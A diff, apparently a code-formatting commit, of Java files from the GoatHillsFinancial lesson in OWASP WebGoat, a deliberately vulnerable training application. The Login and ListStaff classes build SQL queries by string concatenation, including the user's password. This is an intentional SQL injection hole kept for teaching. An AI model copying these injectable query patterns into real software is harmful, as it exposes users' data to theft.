removeSessionAttribute(s, getLessonName() + "." removeSessionAttribute(s, getLessonName() + "." + GoatHillsFinancial.EMPLOYEE_ID);
+ GoatHillsFinancial.EMPLOYEE_ID);
// Query the database for the profile data of the given employee // Query the database for the profile data of the given employee
try try
@ -134,10 +118,8 @@ public class FindProfile extends DefaultLessonAction
try try
{ {
PreparedStatement answer_statement = WebSession PreparedStatement answer_statement = WebSession.getConnection(s)
.getConnection(s).prepareStatement(query, .prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
answer_statement.setString(1, "%" + pattern + "%"); answer_statement.setString(1, "%" + pattern + "%");
answer_statement.setString(2, "%" + pattern + "%"); answer_statement.setString(2, "%" + pattern + "%");
ResultSet answer_results = answer_statement.executeQuery(); ResultSet answer_results = answer_statement.executeQuery();
@ -147,38 +129,27 @@ public class FindProfile extends DefaultLessonAction
{ {
int id = answer_results.getInt("userid"); int id = answer_results.getInt("userid");
// Note: Do NOT get the password field. // Note: Do NOT get the password field.
profile = new Employee(id, answer_results profile = new Employee(id, answer_results.getString("first_name"), answer_results
.getString("first_name"), answer_results .getString("last_name"), answer_results.getString("ssn"),
.getString("last_name"), answer_results answer_results.getString("title"), answer_results.getString("phone"), answer_results
.getString("ssn"), answer_results .getString("address1"), answer_results.getString("address2"), answer_results
.getString("title"), answer_results .getInt("manager"), answer_results.getString("start_date"), answer_results
.getString("phone"), answer_results .getInt("salary"), answer_results.getString("ccn"), answer_results
.getString("address1"), answer_results .getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results
.getString("address2"), answer_results .getString("disciplined_notes"), answer_results.getString("personal_description"));
.getInt("manager"), answer_results
.getString("start_date"), answer_results
.getInt("salary"), answer_results.getString("ccn"),
answer_results.getInt("ccn_limit"), answer_results
.getString("disciplined_date"),
answer_results.getString("disciplined_notes"),
answer_results.getString("personal_description"));
/* System.out.println("Retrieved employee from db: " + /*
profile.getFirstName() + " " + profile.getLastName() + * System.out.println("Retrieved employee from db: " + profile.getFirstName() + " " +
" (" + profile.getId() + ")"); * profile.getLastName() + " (" + profile.getId() + ")");
*/ */
setRequestAttribute(s, getLessonName() + "." setRequestAttribute(s, getLessonName() + "." + GoatHillsFinancial.EMPLOYEE_ID, Integer.toString(id));
+ GoatHillsFinancial.EMPLOYEE_ID, Integer
.toString(id));
} }
} } catch (SQLException sqle)
catch (SQLException sqle)
{ {
s.setMessage("Error finding employee profile"); s.setMessage("Error finding employee profile");
sqle.printStackTrace(); sqle.printStackTrace();
} }
} } catch (Exception e)
catch (Exception e)
{ {
s.setMessage("Error finding employee profile"); s.setMessage("Error finding employee profile");
e.printStackTrace(); e.printStackTrace();

101
main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/GoatHillsFinancial.java
View File

@ -1,10 +1,10 @@
package org.owasp.webgoat.lessons.GoatHillsFinancial; package org.owasp.webgoat.lessons.GoatHillsFinancial;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.Hashtable; import java.util.Hashtable;
import java.util.List; import java.util.List;
import java.util.Map; import java.util.Map;
import org.apache.ecs.Element; import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer; import org.apache.ecs.ElementContainer;
import org.apache.ecs.html.A; import org.apache.ecs.html.A;
@ -16,38 +16,40 @@ import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.ValidationException; import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
*/ */
public class GoatHillsFinancial extends RandomLessonAdapter public class GoatHillsFinancial extends RandomLessonAdapter
{ {
public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com").addElement(new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0).setVspace(0)); public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com")
.addElement(
new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0)
.setVspace(0));
public final static String DESCRIPTION = "description"; public final static String DESCRIPTION = "description";
@ -125,7 +127,8 @@ public class GoatHillsFinancial extends RandomLessonAdapter
registerActions(myClassName); registerActions(myClassName);
} }
protected void registerActions(String className) { protected void registerActions(String className)
{
registerAction(new ListStaff(this, className, LISTSTAFF_ACTION)); registerAction(new ListStaff(this, className, LISTSTAFF_ACTION));
registerAction(new SearchStaff(this, className, SEARCHSTAFF_ACTION)); registerAction(new SearchStaff(this, className, SEARCHSTAFF_ACTION));
registerAction(new ViewProfile(this, className, VIEWPROFILE_ACTION)); registerAction(new ViewProfile(this, className, VIEWPROFILE_ACTION));
@ -133,16 +136,11 @@ public class GoatHillsFinancial extends RandomLessonAdapter
registerAction(new EditProfile(this, className, CREATEPROFILE_ACTION)); registerAction(new EditProfile(this, className, CREATEPROFILE_ACTION));
// These actions are special in that they chain to other actions. // These actions are special in that they chain to other actions.
registerAction(new Login(this, className, LOGIN_ACTION, registerAction(new Login(this, className, LOGIN_ACTION, getAction(LISTSTAFF_ACTION)));
getAction(LISTSTAFF_ACTION))); registerAction(new Logout(this, className, LOGOUT_ACTION, getAction(LOGIN_ACTION)));
registerAction(new Logout(this, className, LOGOUT_ACTION, registerAction(new FindProfile(this, className, FINDPROFILE_ACTION, getAction(VIEWPROFILE_ACTION)));
getAction(LOGIN_ACTION))); registerAction(new UpdateProfile(this, className, UPDATEPROFILE_ACTION, getAction(VIEWPROFILE_ACTION)));
registerAction(new FindProfile(this, className, FINDPROFILE_ACTION, registerAction(new DeleteProfile(this, className, DELETEPROFILE_ACTION, getAction(LISTSTAFF_ACTION)));
getAction(VIEWPROFILE_ACTION)));
registerAction(new UpdateProfile(this, className,
UPDATEPROFILE_ACTION, getAction(VIEWPROFILE_ACTION)));
registerAction(new DeleteProfile(this, className,
DELETEPROFILE_ACTION, getAction(LISTSTAFF_ACTION)));
} }
protected final String parseClassName(String fqcn) protected final String parseClassName(String fqcn)
@ -150,8 +148,7 @@ public class GoatHillsFinancial extends RandomLessonAdapter
String className = fqcn; String className = fqcn;
int lastDotIndex = fqcn.lastIndexOf('.'); int lastDotIndex = fqcn.lastIndexOf('.');
if (lastDotIndex > -1) if (lastDotIndex > -1) className = fqcn.substring(lastDotIndex + 1);
className = fqcn.substring(lastDotIndex + 1);
return className; return className;
} }
@ -161,7 +158,8 @@ public class GoatHillsFinancial extends RandomLessonAdapter
lessonFunctions.put(action.getActionName(), action); lessonFunctions.put(action.getActionName(), action);
} }
public String[] getStages() { public String[] getStages()
{
return new String[] {}; return new String[] {};
} }
@ -182,15 +180,13 @@ public class GoatHillsFinancial extends RandomLessonAdapter
public void handleRequest(WebSession s) public void handleRequest(WebSession s)
{ {
if (s.getLessonSession(this) == null) if (s.getLessonSession(this) == null) s.openLessonSession(this);
s.openLessonSession(this);
String requestedActionName = null; String requestedActionName = null;
try try
{ {
requestedActionName = s.getParser().getStringParameter("action"); requestedActionName = s.getParser().getStringParameter("action");
} } catch (ParameterNotFoundException pnfe)
catch (ParameterNotFoundException pnfe)
{ {
// Let them eat login page. // Let them eat login page.
requestedActionName = LOGIN_ACTION; requestedActionName = LOGIN_ACTION;
@ -202,9 +198,11 @@ public class GoatHillsFinancial extends RandomLessonAdapter
if (action == null) if (action == null)
{ {
setCurrentAction(s, ERROR_ACTION); setCurrentAction(s, ERROR_ACTION);
} else }
else
{ {
//System.out.println("GoatHillsFinancial.handleRequest() dispatching to: " + action.getActionName()); // System.out.println("GoatHillsFinancial.handleRequest() dispatching to: " +
// action.getActionName());
if (action.requiresAuthentication()) if (action.requiresAuthentication())
{ {
if (action.isAuthenticated(s)) if (action.isAuthenticated(s))
@ -220,33 +218,28 @@ public class GoatHillsFinancial extends RandomLessonAdapter
action.handleRequest(s); action.handleRequest(s);
} }
} }
} } catch (ParameterNotFoundException pnfe)
catch (ParameterNotFoundException pnfe)
{ {
System.out.println("Missing parameter"); System.out.println("Missing parameter");
pnfe.printStackTrace(); pnfe.printStackTrace();
setCurrentAction(s, ERROR_ACTION); setCurrentAction(s, ERROR_ACTION);
} } catch (ValidationException ve)
catch (ValidationException ve)
{ {
System.out.println("Validation failed"); System.out.println("Validation failed");
ve.printStackTrace(); ve.printStackTrace();
setCurrentAction(s, ERROR_ACTION); setCurrentAction(s, ERROR_ACTION);
} } catch (UnauthenticatedException ue)
catch (UnauthenticatedException ue)
{ {
s.setMessage("Login failed"); s.setMessage("Login failed");
System.out.println("Authentication failure"); System.out.println("Authentication failure");
ue.printStackTrace(); ue.printStackTrace();
} } catch (UnauthorizedException ue2)
catch (UnauthorizedException ue2)
{ {
s.setMessage("You are not authorized to perform this function"); s.setMessage("You are not authorized to perform this function");
System.out.println("Authorization failure"); System.out.println("Authorization failure");
setCurrentAction(s, ERROR_ACTION); setCurrentAction(s, ERROR_ACTION);
ue2.printStackTrace(); ue2.printStackTrace();
} } catch (Exception e)
catch (Exception e)
{ {
// All other errors send the user to the generic error page // All other errors send the user to the generic error page
System.out.println("handleRequest() error"); System.out.println("handleRequest() error");
@ -277,7 +270,8 @@ public class GoatHillsFinancial extends RandomLessonAdapter
return action.getUserName(s); return action.getUserName(s);
} }
protected String getJspPath() { protected String getJspPath()
{
return "/lessons/" + getLessonName() + "/"; return "/lessons/" + getLessonName() + "/";
} }
@ -312,7 +306,8 @@ public class GoatHillsFinancial extends RandomLessonAdapter
} }
@Override @Override
protected boolean getDefaultHidden() { protected boolean getDefaultHidden()
{
return getClass().equals(GoatHillsFinancial.class); return getClass().equals(GoatHillsFinancial.class);
} }
@ -322,11 +317,11 @@ public class GoatHillsFinancial extends RandomLessonAdapter
} }
@Override @Override
protected String getLessonName() { protected String getLessonName()
{
String className = getClass().getName(); String className = getClass().getName();
int index = className.lastIndexOf('.'); int index = className.lastIndexOf('.');
if (index > -1) if (index > -1) return className.substring(index + 1);
return className.substring(index+1);
return super.getLessonName(); return super.getLessonName();
} }
} }

6
main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/LessonAction.java
View File

@ -1,3 +1,4 @@
package org.owasp.webgoat.lessons.GoatHillsFinancial; package org.owasp.webgoat.lessons.GoatHillsFinancial;
import org.owasp.webgoat.session.ParameterNotFoundException; import org.owasp.webgoat.session.ParameterNotFoundException;
@ -6,10 +7,11 @@ import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.ValidationException; import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
public interface LessonAction public interface LessonAction
{ {
public void handleRequest(WebSession s) public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException,
throws ParameterNotFoundException, UnauthenticatedException, UnauthorizedException, ValidationException; UnauthorizedException, ValidationException;
public String getNextPage(WebSession s); public String getNextPage(WebSession s);

61
main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/ListStaff.java
View File

@ -1,3 +1,4 @@
package org.owasp.webgoat.lessons.GoatHillsFinancial; package org.owasp.webgoat.lessons.GoatHillsFinancial;
import java.sql.ResultSet; import java.sql.ResultSet;
@ -5,39 +6,37 @@ import java.sql.SQLException;
import java.sql.Statement; import java.sql.Statement;
import java.util.List; import java.util.List;
import java.util.Vector; import java.util.Vector;
import org.owasp.webgoat.session.EmployeeStub; import org.owasp.webgoat.session.EmployeeStub;
import org.owasp.webgoat.session.ParameterNotFoundException; import org.owasp.webgoat.session.ParameterNotFoundException;
import org.owasp.webgoat.session.UnauthenticatedException; import org.owasp.webgoat.session.UnauthenticatedException;
import org.owasp.webgoat.session.UnauthorizedException; import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
*/ */
@ -49,19 +48,17 @@ public class ListStaff extends DefaultLessonAction
super(lesson, lessonName, actionName); super(lesson, lessonName, actionName);
} }
public void handleRequest(WebSession s) throws ParameterNotFoundException, public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException,
UnauthenticatedException, UnauthorizedException UnauthorizedException
{ {
getLesson().setCurrentAction(s, getActionName()); getLesson().setCurrentAction(s, getActionName());
if (isAuthenticated(s)) if (isAuthenticated(s))
{ {
int userId = getIntSessionAttribute(s, getLessonName() + "." int userId = getIntSessionAttribute(s, getLessonName() + "." + GoatHillsFinancial.USER_ID);
+ GoatHillsFinancial.USER_ID);
List<EmployeeStub> employees = getAllEmployees(s, userId); List<EmployeeStub> employees = getAllEmployees(s, userId);
setSessionAttribute(s, getLessonName() + "." setSessionAttribute(s, getLessonName() + "." + GoatHillsFinancial.STAFF_ATTRIBUTE_KEY, employees);
+ GoatHillsFinancial.STAFF_ATTRIBUTE_KEY, employees);
} }
else else
throw new UnauthenticatedException(); throw new UnauthenticatedException();
@ -72,8 +69,7 @@ public class ListStaff extends DefaultLessonAction
return GoatHillsFinancial.LISTSTAFF_ACTION; return GoatHillsFinancial.LISTSTAFF_ACTION;
} }
public List<EmployeeStub> getAllEmployees(WebSession s, int userId) public List<EmployeeStub> getAllEmployees(WebSession s, int userId) throws UnauthorizedException
throws UnauthorizedException
{ {
// Query the database for all employees "owned" by the given employee // Query the database for all employees "owned" by the given employee
@ -82,14 +78,12 @@ public class ListStaff extends DefaultLessonAction
try try
{ {
String query = "SELECT employee.userid,first_name,last_name,role FROM employee,roles WHERE employee.userid=roles.userid and employee.userid in " String query = "SELECT employee.userid,first_name,last_name,role FROM employee,roles WHERE employee.userid=roles.userid and employee.userid in "
+ "(SELECT employee_id FROM ownership WHERE employer_id = " + "(SELECT employee_id FROM ownership WHERE employer_id = " + userId + ")";
+ userId + ")";
try try
{ {
Statement answer_statement = WebSession.getConnection(s) Statement answer_statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, .createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query); ResultSet answer_results = answer_statement.executeQuery(query);
answer_results.beforeFirst(); answer_results.beforeFirst();
while (answer_results.next()) while (answer_results.next())
@ -99,18 +93,15 @@ public class ListStaff extends DefaultLessonAction
String lastName = answer_results.getString("last_name"); String lastName = answer_results.getString("last_name");
String role = answer_results.getString("role"); String role = answer_results.getString("role");
// System.out.println("Retrieving employee stub for role " + role); // System.out.println("Retrieving employee stub for role " + role);
EmployeeStub stub = new EmployeeStub(employeeId, firstName, EmployeeStub stub = new EmployeeStub(employeeId, firstName, lastName, role);
lastName, role);
employees.add(stub); employees.add(stub);
} }
} } catch (SQLException sqle)
catch (SQLException sqle)
{ {
s.setMessage("Error getting employees"); s.setMessage("Error getting employees");
sqle.printStackTrace(); sqle.printStackTrace();
} }
} } catch (Exception e)
catch (Exception e)
{ {
s.setMessage("Error getting employees"); s.setMessage("Error getting employees");
e.printStackTrace(); e.printStackTrace();

104
main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/Login.java
View File

@ -1,3 +1,4 @@
package org.owasp.webgoat.lessons.GoatHillsFinancial; package org.owasp.webgoat.lessons.GoatHillsFinancial;
import java.sql.ResultSet; import java.sql.ResultSet;
@ -5,7 +6,6 @@ import java.sql.SQLException;
import java.sql.Statement; import java.sql.Statement;
import java.util.List; import java.util.List;
import java.util.Vector; import java.util.Vector;
import org.owasp.webgoat.session.EmployeeStub; import org.owasp.webgoat.session.EmployeeStub;
import org.owasp.webgoat.session.ParameterNotFoundException; import org.owasp.webgoat.session.ParameterNotFoundException;
import org.owasp.webgoat.session.UnauthenticatedException; import org.owasp.webgoat.session.UnauthenticatedException;
@ -13,32 +13,31 @@ import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.ValidationException; import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
*/ */
@ -47,32 +46,25 @@ public class Login extends DefaultLessonAction
private LessonAction chainedAction; private LessonAction chainedAction;
public Login(GoatHillsFinancial lesson, String lessonName, String actionName, LessonAction chainedAction)
public Login(GoatHillsFinancial lesson, String lessonName, String actionName,
LessonAction chainedAction)
{ {
super(lesson, lessonName, actionName); super(lesson, lessonName, actionName);
this.chainedAction = chainedAction; this.chainedAction = chainedAction;
} }
public void handleRequest(WebSession s) throws ParameterNotFoundException, ValidationException
public void handleRequest(WebSession s) throws ParameterNotFoundException,
ValidationException
{ {
// System.out.println("Login.handleRequest()"); // System.out.println("Login.handleRequest()");
getLesson().setCurrentAction(s, getActionName()); getLesson().setCurrentAction(s, getActionName());
List employees = getAllEmployees(s); List employees = getAllEmployees(s);
setSessionAttribute(s, getLessonName() + "." setSessionAttribute(s, getLessonName() + "." + GoatHillsFinancial.STAFF_ATTRIBUTE_KEY, employees);
+ GoatHillsFinancial.STAFF_ATTRIBUTE_KEY, employees);
int employeeId = -1; int employeeId = -1;
try try
{ {
employeeId = s.getParser().getIntParameter( employeeId = s.getParser().getIntParameter(GoatHillsFinancial.EMPLOYEE_ID);
GoatHillsFinancial.EMPLOYEE_ID); String password = s.getParser().getStringParameter(GoatHillsFinancial.PASSWORD);
String password = s.getParser().getStringParameter(
GoatHillsFinancial.PASSWORD);
// Attempt authentication // Attempt authentication
if (login(s, employeeId, password)) if (login(s, employeeId, password))
@ -81,13 +73,11 @@ public class Login extends DefaultLessonAction
try try
{ {
chainedAction.handleRequest(s); chainedAction.handleRequest(s);
} } catch (UnauthenticatedException ue1)
catch (UnauthenticatedException ue1)
{ {
System.out.println("Internal server error"); System.out.println("Internal server error");
ue1.printStackTrace(); ue1.printStackTrace();
} } catch (UnauthorizedException ue2)
catch (UnauthorizedException ue2)
{ {
System.out.println("Internal server error"); System.out.println("Internal server error");
ue2.printStackTrace(); ue2.printStackTrace();
@ -95,38 +85,32 @@ public class Login extends DefaultLessonAction
} }
else else
s.setMessage("Login failed"); s.setMessage("Login failed");
} } catch (ParameterNotFoundException pnfe)
catch (ParameterNotFoundException pnfe)
{ {
// No credentials offered, so we log them out // No credentials offered, so we log them out
setSessionAttribute(s, getLessonName() + ".isAuthenticated", setSessionAttribute(s, getLessonName() + ".isAuthenticated", Boolean.FALSE);
Boolean.FALSE);
} }
} }
/** /**
* After this.handleRequest() is called, when the View asks for the current JSP to load, * After this.handleRequest() is called, when the View asks for the current JSP to load, it will
* it will get one initialized by this call. * get one initialized by this call.
*/ */
public String getNextPage(WebSession s) public String getNextPage(WebSession s)
{ {
String nextPage = GoatHillsFinancial.LOGIN_ACTION; String nextPage = GoatHillsFinancial.LOGIN_ACTION;
if (isAuthenticated(s)) if (isAuthenticated(s)) nextPage = chainedAction.getNextPage(s);
nextPage = chainedAction.getNextPage(s);
return nextPage; return nextPage;
} }
public boolean requiresAuthentication() public boolean requiresAuthentication()
{ {
return false; return false;
} }
public boolean login(WebSession s, int userId, String password) public boolean login(WebSession s, int userId, String password)
{ {
// System.out.println("Logging in to lesson"); // System.out.println("Logging in to lesson");
@ -134,33 +118,26 @@ public class Login extends DefaultLessonAction
try try
{ {
String query = "SELECT * FROM employee WHERE userid = " + userId String query = "SELECT * FROM employee WHERE userid = " + userId + " and password = '" + password + "'";
+ " and password = '" + password + "'";
try try
{ {
Statement answer_statement = WebSession.getConnection(s) Statement answer_statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, .createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query); ResultSet answer_results = answer_statement.executeQuery(query);
if (answer_results.first()) if (answer_results.first())
{ {
setSessionAttribute(s, setSessionAttribute(s, getLessonName() + ".isAuthenticated", Boolean.TRUE);
getLessonName() + ".isAuthenticated", Boolean.TRUE); setSessionAttribute(s, getLessonName() + "." + GoatHillsFinancial.USER_ID, Integer.toString(userId));
setSessionAttribute(s, getLessonName() + "."
+ GoatHillsFinancial.USER_ID, Integer
.toString(userId));
authenticated = true; authenticated = true;
} }
} } catch (SQLException sqle)
catch (SQLException sqle)
{ {
s.setMessage("Error logging in"); s.setMessage("Error logging in");
sqle.printStackTrace(); sqle.printStackTrace();
} }
} } catch (Exception e)
catch (Exception e)
{ {
s.setMessage("Error logging in"); s.setMessage("Error logging in");
e.printStackTrace(); e.printStackTrace();
@ -170,7 +147,6 @@ public class Login extends DefaultLessonAction
return authenticated; return authenticated;
} }
public List<EmployeeStub> getAllEmployees(WebSession s) public List<EmployeeStub> getAllEmployees(WebSession s)
{ {
List<EmployeeStub> employees = new Vector<EmployeeStub>(); List<EmployeeStub> employees = new Vector<EmployeeStub>();
@ -186,8 +162,7 @@ public class Login extends DefaultLessonAction
try try
{ {
Statement answer_statement = WebSession.getConnection(s) Statement answer_statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, .createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query); ResultSet answer_results = answer_statement.executeQuery(query);
answer_results.beforeFirst(); answer_results.beforeFirst();
while (answer_results.next()) while (answer_results.next())
@ -196,18 +171,15 @@ public class Login extends DefaultLessonAction
String firstName = answer_results.getString("first_name"); String firstName = answer_results.getString("first_name");
String lastName = answer_results.getString("last_name"); String lastName = answer_results.getString("last_name");
String role = answer_results.getString("role"); String role = answer_results.getString("role");
EmployeeStub stub = new EmployeeStub(employeeId, firstName, EmployeeStub stub = new EmployeeStub(employeeId, firstName, lastName, role);
lastName, role);
employees.add(stub); employees.add(stub);
} }
} } catch (SQLException sqle)
catch (SQLException sqle)
{ {
s.setMessage("Error getting employees"); s.setMessage("Error getting employees");
sqle.printStackTrace(); sqle.printStackTrace();
} }
} } catch (Exception e)
catch (Exception e)
{ {
s.setMessage("Error getting employees"); s.setMessage("Error getting employees");
e.printStackTrace(); e.printStackTrace();

50
main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/Logout.java
View File

@ -1,3 +1,4 @@
package org.owasp.webgoat.lessons.GoatHillsFinancial; package org.owasp.webgoat.lessons.GoatHillsFinancial;
import org.owasp.webgoat.session.ParameterNotFoundException; import org.owasp.webgoat.session.ParameterNotFoundException;
@ -6,32 +7,31 @@ import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.ValidationException; import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
*/ */
@ -40,34 +40,27 @@ public class Logout extends DefaultLessonAction
private LessonAction chainedAction; private LessonAction chainedAction;
public Logout(GoatHillsFinancial lesson, String lessonName, String actionName, LessonAction chainedAction)
public Logout(GoatHillsFinancial lesson, String lessonName, String actionName,
LessonAction chainedAction)
{ {
super(lesson, lessonName, actionName); super(lesson, lessonName, actionName);
this.chainedAction = chainedAction; this.chainedAction = chainedAction;
} }
public void handleRequest(WebSession s) throws ParameterNotFoundException, ValidationException
public void handleRequest(WebSession s) throws ParameterNotFoundException,
ValidationException
{ {
// System.out.println("Logging out"); // System.out.println("Logging out");
setSessionAttribute(s, getLessonName() + ".isAuthenticated", setSessionAttribute(s, getLessonName() + ".isAuthenticated", Boolean.FALSE);
Boolean.FALSE);
